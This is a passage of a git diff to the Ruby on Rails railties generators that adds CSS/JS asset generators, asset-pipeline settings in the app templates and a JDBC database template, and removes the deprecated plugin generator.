a/railties/lib/rails/generators/css/assets/assets_generator.rb b/railties/lib/rails/generators/css/assets/assets_generator.rb new file mode 100644 index 0000000000..492177ca2e --- /dev/null +++ b/railties/lib/rails/generators/css/assets/assets_generator.rb @@ -0,0 +1,13 @@ +require "rails/generators/named_base" + +module Css + module Generators + class AssetsGenerator < Rails::Generators::NamedBase + source_root File.expand_path("../templates", __FILE__) + + def copy_stylesheet + copy_file "stylesheet.css", File.join('app/assets/stylesheets', class_path, "#{file_name}.css") + end + end + end +end diff --git a/railties/lib/rails/generators/rails/assets/templates/stylesheet.css.scss b/railties/lib/rails/generators/css/assets/templates/stylesheet.css index ba95e217cc..afad32db02 100644 --- a/railties/lib/rails/generators/rails/assets/templates/stylesheet.css.scss +++ b/railties/lib/rails/generators/css/assets/templates/stylesheet.css @@ -1,5 +1,4 @@ -/* +/* Place all the styles related to the matching controller here. They will automatically be included in application.css. - You can use Sass (SCSS) here: http://sass-lang.com/ */ diff --git a/railties/lib/rails/generators/css/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/css/scaffold/scaffold_generator.rb new file mode 100644 index 0000000000..1d7fe9fac0 --- /dev/null +++ b/railties/lib/rails/generators/css/scaffold/scaffold_generator.rb @@ -0,0 +1,16 @@ +require "rails/generators/named_base" + +module Css + module Generators + class ScaffoldGenerator < Rails::Generators::NamedBase + # In order to allow the Sass generators to pick up the default Rails CSS and + # transform it, we leave it in a standard location for the CSS stylesheet + # generators to handle. For the simple, default case, just copy it over. + def copy_stylesheet + dir = Rails::Generators::ScaffoldGenerator.source_root + file = File.join(dir, "scaffold.css") + create_file "app/assets/stylesheets/scaffold.css", File.read(file) + end + end + end +end diff --git a/railties/lib/rails/generators/generated_attribute.rb b/railties/lib/rails/generators/generated_attribute.rb index 9450894b05..816d82cac3 100644 --- a/railties/lib/rails/generators/generated_attribute.rb +++ b/railties/lib/rails/generators/generated_attribute.rb @@ -7,7 +7,7 @@ module Rails attr_accessor :name, :type def initialize(name, type) - raise Thor::Error, "Missing type for attribute '#{name}'.\nExample: '#{name}:string' where string is the type." if type.blank? + type = :string if type.blank? @name, @type = name, type.to_sym end @@ -32,7 +32,7 @@ module Rails when :decimal then "9.99" when :datetime, :timestamp, :time then Time.now.to_s(:db) when :date then Date.today.to_s(:db) - when :string then "MyString" + when :string then name == "type" ? "" : "MyString" when :text then "MyText" when :boolean then false when :references, :belongs_to then nil diff --git a/railties/lib/rails/generators/js/assets/assets_generator.rb b/railties/lib/rails/generators/js/assets/assets_generator.rb new file mode 100644 index 0000000000..d134a9e392 --- /dev/null +++ b/railties/lib/rails/generators/js/assets/assets_generator.rb @@ -0,0 +1,13 @@ +require "rails/generators/named_base" + +module Js + module Generators + class AssetsGenerator < Rails::Generators::NamedBase + source_root File.expand_path("../templates", __FILE__) + + def copy_javascript + copy_file "javascript.js", File.join('app/assets/javascripts', class_path, "#{file_name}.js") + end + end + end +end diff --git a/railties/lib/rails/generators/js/assets/templates/javascript.js b/railties/lib/rails/generators/js/assets/templates/javascript.js new file mode 100644 index 0000000000..dee720facd --- /dev/null +++ b/railties/lib/rails/generators/js/assets/templates/javascript.js @@ -0,0 +1,2 @@ +// Place all the behaviors and hooks related to the matching controller here. +// All this logic will automatically be available in application.js. diff --git a/railties/lib/rails/generators/named_base.rb b/railties/lib/rails/generators/named_base.rb index 7e7f8d2d08..c6c0392f43 100644 --- a/railties/lib/rails/generators/named_base.rb +++ b/railties/lib/rails/generators/named_base.rb @@ -63,9 +63,7 @@ module Rails end def namespace - @namespace ||= if defined?(Rails) && Rails.application - Rails.application.class.parents.detect { |n| n.respond_to?(:_railtie) } - end + Rails::Generators.namespace end def namespaced? diff --git a/railties/lib/rails/generators/rails/app/USAGE b/railties/lib/rails/generators/rails/app/USAGE index 9e7a78d132..691095f33f 100644 --- a/railties/lib/rails/generators/rails/app/USAGE +++ b/railties/lib/rails/generators/rails/app/USAGE @@ -2,6 +2,12 @@ Description: The 'rails new' command creates a new Rails application with a default directory structure and configuration at the path you specify. + You can specify extra command-line arguments to be used every time + 'rails new' runs in the .railsrc configuration file in your home directory. + + Note that the arguments specified in the .railsrc file don't affect the + defaults values shown above in this help message. + Example: rails new ~/Code/Ruby/weblog diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb index 5f9fb9685c..3e32f758a4 100644 --- a/railties/lib/rails/generators/rails/app/app_generator.rb +++ b/railties/lib/rails/generators/rails/app/app_generator.rb @@ -88,6 +88,7 @@ module Rails def lib empty_directory "lib" empty_directory_with_gitkeep "lib/tasks" + empty_directory_with_gitkeep "lib/assets" end def log @@ -116,14 +117,20 @@ module Rails end def tmp - empty_directory_with_gitkeep "tmp/cache" + empty_directory "tmp/cache" + empty_directory "tmp/cache/assets" end def vendor + vendor_javascripts vendor_stylesheets vendor_plugins end + def vendor_javascripts + empty_directory_with_gitkeep "vendor/assets/javascripts" + end + def vendor_stylesheets empty_directory_with_gitkeep "vendor/assets/stylesheets" end @@ -137,7 +144,6 @@ module Rails # We need to store the RAILS_DEV_PATH in a constant, otherwise the path # can change in Ruby 1.8.7 when we FileUtils.cd. RAILS_DEV_PATH = File.expand_path("../../../../../..", File.dirname(__FILE__)) - RESERVED_NAMES = %w[application destroy benchmarker profiler plugin runner test] class AppGenerator < AppBase @@ -272,7 +278,7 @@ module Rails end def app_secret - ActiveSupport::SecureRandom.hex(64) + SecureRandom.hex(64) end def mysql_socket diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/rails/generators/rails/app/templates/Gemfile index 20bd9db624..d3b8f4d595 100644 --- a/railties/lib/rails/generators/rails/app/templates/Gemfile +++ b/railties/lib/rails/generators/rails/app/templates/Gemfile @@ -4,14 +4,14 @@ source 'http://rubygems.org' <%= database_gemfile_entry -%> -<%= "gem 'jruby-openssl'\n" if defined?(JRUBY_VERSION) && JRUBY_VERSION < "1.6" -%> -# Asset template engines +<%= "gem 'jruby-openssl'\n" if defined?(JRUBY_VERSION) -%> <%= "gem 'json'\n" if RUBY_VERSION < "1.9.2" -%> -gem 'sass' -gem 'coffee-script' -# gem 'uglifier' -<%= gem_for_javascript %> +<%= assets_gemfile_entry %> +<%= javascript_gemfile_entry %> + +# To use ActiveModel has_secure_password +# gem 'bcrypt-ruby', '~> 3.0.0' # Use unicorn as the web server # gem 'unicorn' @@ -20,6 +20,4 @@ gem 'coffee-script' # gem 'capistrano' # To use debugger -# <%= gem_for_ruby_debugger %> - -<%= gem_for_turn -%> +# <%= ruby_debugger_gemfile_entry %> diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt index 19294b3478..f33a7f4ac2 100644 --- a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt +++ b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt @@ -1,9 +1,15 @@ -// This is a manifest file that'll be compiled into including all the files listed below. -// Add new JavaScript/Coffee code in separate files in this directory and they'll automatically -// be included in the compiled file accessible from http://example.com/assets/application.js +// This is a manifest file that'll be compiled into application.js, which will include all the files +// listed below. +// +// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts, +// or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path. +// // It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the // the compiled file. // +// WARNING: THE FIRST BLANK LINE MARKS THE END OF WHAT'S TO BE PROCESSED, ANY BLANK LINE SHOULD +// GO AFTER THE REQUIRES BELOW. +// <% unless options[:skip_javascript] -%> //= require <%= options[:javascript] %> //= require <%= options[:javascript] %>_ujs diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css index fc25b5723f..3b5cc6648e 100644 --- a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css +++ b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css @@ -1,7 +1,13 @@ /* - * This is a manifest file that'll automatically include all the stylesheets available in this directory - * and any sub-directories. You're free to add application-wide styles to this file and they'll appear at - * the top of the compiled file, but it's generally better to create a new file per style scope. + * This is a manifest file that'll be compiled into application.css, which will include all the files + * listed below. + * + * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets, + * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path. + * + * You're free to add application-wide styles to this file and they'll appear at the top of the + * compiled file, but it's generally better to create a new file per style scope. + * *= require_self - *= require_tree . -*/
\ No newline at end of file + *= require_tree . +*/ diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb index 8ff80c6fd3..13fbe9e526 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/application.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb @@ -4,16 +4,20 @@ require File.expand_path('../boot', __FILE__) require 'rails/all' <% else -%> # Pick the frameworks you want: -<%= comment_if :skip_active_record %> require "active_record/railtie" +<%= comment_if :skip_active_record %>require "active_record/railtie" require "action_controller/railtie" require "action_mailer/railtie" require "active_resource/railtie" -<%= comment_if :skip_test_unit %> require "rails/test_unit/railtie" +<%= comment_if :skip_sprockets %>require "sprockets/railtie" +<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie" <% end -%> -# If you have a Gemfile, require the gems listed there, including any gems -# you've limited to :test, :development, or :production. -Bundler.require(:default, Rails.env) if defined?(Bundler) +if defined?(Bundler) + # If you precompile assets before deploying to production, use this line + Bundler.require(*Rails.groups(:assets => %w(development test))) + # If you want your assets lazily compiled in production, use this line + # Bundler.require(:default, :assets, Rails.env) +end module <%= app_const_base %> class Application < Rails::Application @@ -39,24 +43,18 @@ module <%= app_const_base %> # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] # config.i18n.default_locale = :de - # Please note that JavaScript expansions are *ignored altogether* if the asset - # pipeline is enabled (see config.assets.enabled below). Put your defaults in - # app/assets/javascripts/application.js in that case. - # - # JavaScript files you want as :defaults (application.js is always included). -<% if options[:skip_javascript] -%> - # config.action_view.javascript_expansions[:defaults] = %w() -<% else -%> - # config.action_view.javascript_expansions[:defaults] = %w(prototype prototype_ujs) -<% end -%> - # Configure the default encoding used in templates for Ruby 1.9. config.encoding = "utf-8" # Configure sensitive parameters which will be filtered from the log file. config.filter_parameters += [:password] +<% unless options.skip_sprockets? -%> # Enable the asset pipeline config.assets.enabled = true + + # Version of your assets, change this if you want to expire all your assets + config.assets.version = '1.0' +<% end -%> end end diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml new file mode 100644 index 0000000000..1d2bf08b91 --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml @@ -0,0 +1,62 @@ +# If you are using mssql, derby, hsqldb, or h2 with one of the +# ActiveRecord JDBC adapters, install the appropriate driver, e.g.,: +# gem install activerecord-jdbcmssql-adapter +# +# Configure using Gemfile: +# gem 'activerecord-jdbcmssql-adapter' +# +#development: +# adapter: mssql +# username: <%= app_name %> +# password: +# host: localhost +# database: <%= app_name %>_development +# +# Warning: The database defined as "test" will be erased and +# re-generated from your development database when you run "rake". +# Do not set this db to the same as development or production. +# +#test: +# adapter: mssql +# username: <%= app_name %> +# password: +# host: localhost +# database: <%= app_name %>_test +# +#production: +# adapter: mssql +# username: <%= app_name %> +# password: +# host: localhost +# database: <%= app_name %>_production + +# If you are using oracle, db2, sybase, informix or prefer to use the plain +# JDBC adapter, configure your database setting as the example below (requires +# you to download and manually install the database vendor's JDBC driver .jar +# file). See your driver documentation for the apropriate driver class and +# connection string: + +development: + adapter: jdbc + username: <%= app_name %> + password: + driver: + url: jdbc:db://localhost/<%= app_name %>_development + +# Warning: The database defined as "test" will be erased and +# re-generated from your development database when you run "rake". +# Do not set this db to the same as development or production. + +test: + adapter: jdbc + username: <%= app_name %> + password: + driver: + url: jdbc:db://localhost/<%= app_name %>_test + +production: + adapter: jdbc + username: <%= app_name %> + password: + driver: + url: jdbc:db://localhost/<%= app_name %>_production diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml index 6bf83e86a5..5a594ac1f3 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml +++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml @@ -9,7 +9,7 @@ # And be sure to use new-style password hashing: # http://dev.mysql.com/doc/refman/5.0/en/old-client.html development: - adapter: jdbcmysql + adapter: mysql database: <%= app_name %>_development username: root password: @@ -19,14 +19,14 @@ development: # re-generated from your development database when you run "rake". # Do not set this db to the same as development or production. test: - adapter: jdbcmysql + adapter: mysql database: <%= app_name %>_test username: root password: host: localhost production: - adapter: jdbcmysql + adapter: mysql database: <%= app_name %>_production username: root password: diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml index 0c7f45322b..fe9466b366 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml +++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml @@ -1,19 +1,10 @@ -# PostgreSQL. Versions 7.4 and 8.x are supported. -# -# Install the pg driver: -# gem install pg -# On Mac OS X with macports: -# gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config -# On Windows: -# gem install pg -# Choose the win32 build. -# Install PostgreSQL and put its /bin directory on your path. +# PostgreSQL. Versions 8.2 and up are supported. # # Configure Using Gemfile # gem 'activerecord-jdbcpostgresql-adapter' development: - adapter: jdbcpostgresql + adapter: postgresql encoding: unicode database: <%= app_name %>_development username: <%= app_name %> @@ -38,14 +29,14 @@ development: # re-generated from your development database when you run "rake". # Do not set this db to the same as development or production. test: - adapter: jdbcpostgresql + adapter: postgresql encoding: unicode database: <%= app_name %>_test username: <%= app_name %> password: production: - adapter: jdbcpostgresql + adapter: postgresql encoding: unicode database: <%= app_name %>_production username: <%= app_name %> diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml index 6d241d57ae..175f3eb3db 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml +++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml @@ -5,16 +5,16 @@ # gem 'activerecord-jdbcsqlite3-adapter' # development: - adapter: jdbcsqlite3 + adapter: sqlite3 database: db/development.sqlite3 # Warning: The database defined as "test" will be erased and # re-generated from your development database when you run "rake". # Do not set this db to the same as development or production. test: - adapter: jdbcsqlite3 + adapter: sqlite3 database: db/test.sqlite3 production: - adapter: jdbcsqlite3 + adapter: sqlite3 database: db/production.sqlite3 diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml index 467dfc3956..f08f86aac3 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml +++ b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml @@ -1,4 +1,4 @@ -# PostgreSQL. Versions 7.4 and 8.x are supported. +# PostgreSQL. Versions 8.2 and up are supported. # # Install the pg driver: # gem install pg diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt index 066aa54862..47078e3af9 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt @@ -2,7 +2,7 @@ # Settings specified here will take precedence over those in config/application.rb # In the development environment your application's code is reloaded on - # every request. This slows down response time but is perfect for development + # every request. This slows down response time but is perfect for development # since you don't have to restart the web server when you make code changes. config.cache_classes = false @@ -21,4 +21,15 @@ # Only use best-standards-support built into browsers config.action_dispatch.best_standards_support = :builtin + + <%- unless options.skip_active_record? -%> + # Raise exception on mass assignment protection for ActiveRecord models + config.active_record.mass_assignment_sanitizer = :strict + <%- end -%> + + # Do not compress assets + config.assets.compress = false + + # Expands the lines which load the assets + config.assets.debug = true end diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt index 1c3dc1117f..50f2df3d35 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt @@ -11,13 +11,21 @@ # Disable Rails's static asset server (Apache or nginx will already do this) config.serve_static_assets = false - # Compress both stylesheets and JavaScripts - config.assets.js_compressor = :uglifier - config.assets.css_compressor = :scss + # Compress JavaScripts and CSS + config.assets.compress = true + + # Don't fallback to assets pipeline if a precompiled asset is missed + config.assets.compile = false + + # Generate digests for assets URLs + config.assets.digest = true + + # Defaults to Rails.root.join("public/assets") + # config.assets.manifest = YOUR_PATH # Specifies the header that your server uses for sending files - # (comment out if your front-end server doesn't support this) - config.action_dispatch.x_sendfile_header = "X-Sendfile" # Use 'X-Accel-Redirect' for nginx + # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache + # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true @@ -25,8 +33,11 @@ # See everything in the log (default is :info) # config.log_level = :debug + # Prepend all log lines with the following tags + # config.log_tags = [ :subdomain, :uuid ] + # Use a different logger for distributed setups - # config.logger = SyslogLogger.new + # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new) # Use a different cache store in production # config.cache_store = :mem_cache_store diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt index 8d11377211..80198cc21e 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt @@ -2,9 +2,9 @@ # Settings specified here will take precedence over those in config/application.rb # The test environment is used exclusively to run your application's - # test suite. You never need to work with it otherwise. Remember that + # test suite. You never need to work with it otherwise. Remember that # your test database is "scratch space" for the test suite and is wiped - # and recreated between test runs. Don't rely on the data there! + # and recreated between test runs. Don't rely on the data there! config.cache_classes = true # Configure static asset server for tests with Cache-Control for performance @@ -34,6 +34,11 @@ # like if you have constraints or database-specific column types # config.active_record.schema_format = :sql + <%- unless options.skip_active_record? -%> + # Raise exception on mass assignment protection for ActiveRecord models + config.active_record.mass_assignment_sanitizer = :strict + <%- end -%> + # Print deprecation notices to the stderr config.active_support.deprecation = :stderr end diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb index 9e8b0131f8..5d8d9be237 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb @@ -8,3 +8,8 @@ # inflect.irregular 'person', 'people' # inflect.uncountable %w( fish sheep ) # end +# +# These inflection rules are supported but not enabled by default: +# ActiveSupport::Inflector.inflections do |inflect| +# inflect.acronym 'RESTful' +# end diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt index e56195da80..d640f578da 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt @@ -1,12 +1,16 @@ # Be sure to restart your server when you modify this file. # -# This file contains the settings for ActionController::ParametersWrapper -# which will be enabled by default in the upcoming version of Ruby on Rails. +# This file contains settings for ActionController::ParamsWrapper which +# is enabled by default. # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. -ActionController::Base.wrap_parameters <%= key_value :format, "[:json]" %> +ActiveSupport.on_load(:action_controller) do + wrap_parameters <%= key_value :format, "[:json]" %> +end +<%- unless options.skip_active_record? -%> # Disable root element in JSON by default. -if defined?(ActiveRecord) - ActiveRecord::Base.include_root_in_json = false +ActiveSupport.on_load(:active_record) do + self.include_root_in_json = false end +<%- end -%> diff --git a/railties/lib/rails/generators/rails/app/templates/config/routes.rb b/railties/lib/rails/generators/rails/app/templates/config/routes.rb index d50f536164..ea81748464 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/routes.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/routes.rb @@ -54,5 +54,5 @@ # This is a legacy wild controller route that's not recommended for RESTful applications. # Note: This route will make all actions in every controller accessible via GET requests. - # match ':controller(/:action(/:id(.:format)))' + # match ':controller(/:action(/:id))(.:format)' end diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore b/railties/lib/rails/generators/rails/app/templates/gitignore index 923b697662..eb3489a986 100644 --- a/railties/lib/rails/generators/rails/app/templates/gitignore +++ b/railties/lib/rails/generators/rails/app/templates/gitignore @@ -1,5 +1,15 @@ -.bundle -db/*.sqlite3 -log/*.log -tmp/ -.sass-cache/ +# See http://help.github.com/ignore-files/ for more about ignoring files. +# +# If you find yourself ignoring temporary files generated by your text editor +# or operating system, you probably want to add a global ignore instead: +# git config --global core.excludesfile ~/.gitignore_global + +# Ignore bundler config +/.bundle + +# Ignore the default SQLite database. +/db/*.sqlite3 + +# Ignore all logfiles and tempfiles. +/log/*.log +/tmp diff --git a/railties/lib/rails/generators/rails/app/templates/public/500.html b/railties/lib/rails/generators/rails/app/templates/public/500.html index b80307fc16..f3648a0dbc 100644 --- a/railties/lib/rails/generators/rails/app/templates/public/500.html +++ b/railties/lib/rails/generators/rails/app/templates/public/500.html @@ -20,7 +20,6 @@ <!-- This file lives in public/500.html --> <div class="dialog"> <h1>We're sorry, but something went wrong.</h1> - <p>We've been notified about this issue and we'll take a look at it shortly.</p> </div> </body> </html> diff --git a/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb b/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb index 5d1be041a5..3fea27b916 100644 --- a/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb +++ b/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb @@ -5,7 +5,7 @@ class BrowsingTest < ActionDispatch::PerformanceTest # Refer to the documentation for all available options # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory] # :output => 'tmp/performance', :formats => [:flat] } - + def test_homepage get '/' end diff --git a/railties/lib/rails/generators/rails/assets/USAGE b/railties/lib/rails/generators/rails/assets/USAGE index c5375cdc06..d2e5ed4482 100644 --- a/railties/lib/rails/generators/rails/assets/USAGE +++ b/railties/lib/rails/generators/rails/assets/USAGE @@ -7,7 +7,7 @@ Description: This generates a JavaScript stub in app/assets/javascripts and a stylesheet stub in app/assets/stylesheets. - + If CoffeeScript is available, JavaScripts will be generated with the .coffee extension. If Sass 3 is available, stylesheets will be generated with the .scss extension. diff --git a/railties/lib/rails/generators/rails/assets/assets_generator.rb b/railties/lib/rails/generators/rails/assets/assets_generator.rb index 2d52da77eb..2e7f25a0b7 100644 --- a/railties/lib/rails/generators/rails/assets/assets_generator.rb +++ b/railties/lib/rails/generators/rails/assets/assets_generator.rb @@ -7,32 +7,18 @@ module Rails class_option :javascript_engine, :desc => "Engine for JavaScripts" class_option :stylesheet_engine, :desc => "Engine for Stylesheets" - def create_javascript_files - return unless options.javascripts? - copy_file "javascript.#{javascript_extension}", - File.join('app/assets/javascripts', class_path, "#{asset_name}.#{javascript_extension}") - end - - def create_stylesheet_files - return unless options.stylesheets? - copy_file "stylesheet.#{stylesheet_extension}", - File.join('app/assets/stylesheets', class_path, "#{asset_name}.#{stylesheet_extension}") - end - protected def asset_name file_name end - def javascript_extension - options.javascript_engine.present? ? - "js.#{options.javascript_engine}" : "js" + hook_for :javascript_engine do |javascript_engine| + invoke javascript_engine, [name] if options[:javascripts] end - def stylesheet_extension - options.stylesheet_engine.present? ? - "css.#{options.stylesheet_engine}" : "css" + hook_for :stylesheet_engine do |stylesheet_engine| + invoke stylesheet_engine, [name] if options[:stylesheets] end end end diff --git a/railties/lib/rails/generators/rails/plugin/USAGE b/railties/lib/rails/generators/rails/plugin/USAGE deleted file mode 100644 index 1bcfcf190d..0000000000 --- a/railties/lib/rails/generators/rails/plugin/USAGE +++ /dev/null @@ -1,13 +0,0 @@ -Description: - Stubs out a new plugin at vendor/plugins. Pass the plugin name, either - CamelCased or under_scored, as an argument. - -Example: - `rails generate plugin BrowserFilters` - - creates a standard browser_filters plugin: - vendor/plugins/browser_filters/README - vendor/plugins/browser_filters/init.rb - vendor/plugins/browser_filters/install.rb - vendor/plugins/browser_filters/lib/browser_filters.rb - vendor/plugins/browser_filters/test/browser_filters_test.rb diff --git a/railties/lib/rails/generators/rails/plugin/plugin_generator.rb b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb deleted file mode 100644 index 97f681d826..0000000000 --- a/railties/lib/rails/generators/rails/plugin/plugin_generator.rb +++ /dev/null @@ -1,54 +0,0 @@ - -require 'rails/generators/rails/generator/generator_generator' - -module Rails - module Generators - class PluginGenerator < NamedBase - class_option :tasks, :desc => "When supplied creates tasks base files." - - def show_deprecation - return unless behavior == :invoke - message = "Plugin generator is deprecated, please use 'rails plugin new' command to generate plugin structure." - ActiveSupport::Deprecation.warn message - end - - check_class_collision - - def create_root_files - directory '.', plugin_dir, :recursive => false - end - - def create_lib_files - directory 'lib', plugin_dir('lib'), :recursive => false - end - - def create_tasks_files - return unless options[:tasks] - directory 'lib/tasks', plugin_dir('lib/tasks') - end - - hook_for :generator do |generator| - inside plugin_dir, :verbose => true do - invoke generator, [ name ], :namespace => false - end - end - - hook_for :test_framework do |test_framework| - inside plugin_dir, :verbose => true do - invoke test_framework - end - end - - protected - - def plugin_dir(join=nil) - if join - File.join(plugin_dir, join) - else - "vendor/plugins/#{file_name}" - end - end - - end - end -end diff --git a/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE.tt b/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE.tt deleted file mode 100644 index 8717df053d..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE.tt +++ /dev/null @@ -1,20 +0,0 @@ -Copyright (c) <%= Date.today.year %> [name of plugin creator] - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE -LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION -OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/railties/lib/rails/generators/rails/plugin/templates/README.tt b/railties/lib/rails/generators/rails/plugin/templates/README.tt deleted file mode 100644 index 702db07cb1..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/README.tt +++ /dev/null @@ -1,13 +0,0 @@ -<%= class_name %> -<%= "=" * class_name.size %> - -Introduction goes here. - - -Example -======= - -Example goes here. - - -Copyright (c) <%= Date.today.year %> [name of plugin creator], released under the MIT license diff --git a/railties/lib/rails/generators/rails/plugin/templates/Rakefile.tt b/railties/lib/rails/generators/rails/plugin/templates/Rakefile.tt deleted file mode 100644 index 77149ae351..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/Rakefile.tt +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env rake -require 'rake/testtask' -require 'rake/rdoctask' - -desc 'Default: run unit tests.' -task :default => :test - -desc 'Test the <%= file_name %> plugin.' -Rake::TestTask.new(:test) do |t| - t.libs << 'lib' - t.libs << 'test' - t.pattern = 'test/**/*_test.rb' - t.verbose = true -end - -desc 'Generate documentation for the <%= file_name %> plugin.' -Rake::RDocTask.new(:rdoc) do |rdoc| - rdoc.rdoc_dir = 'rdoc' - rdoc.title = '<%= class_name %>' - rdoc.options << '--line-numbers' << '--inline-source' - rdoc.rdoc_files.include('README') - rdoc.rdoc_files.include('lib/**/*.rb') -end
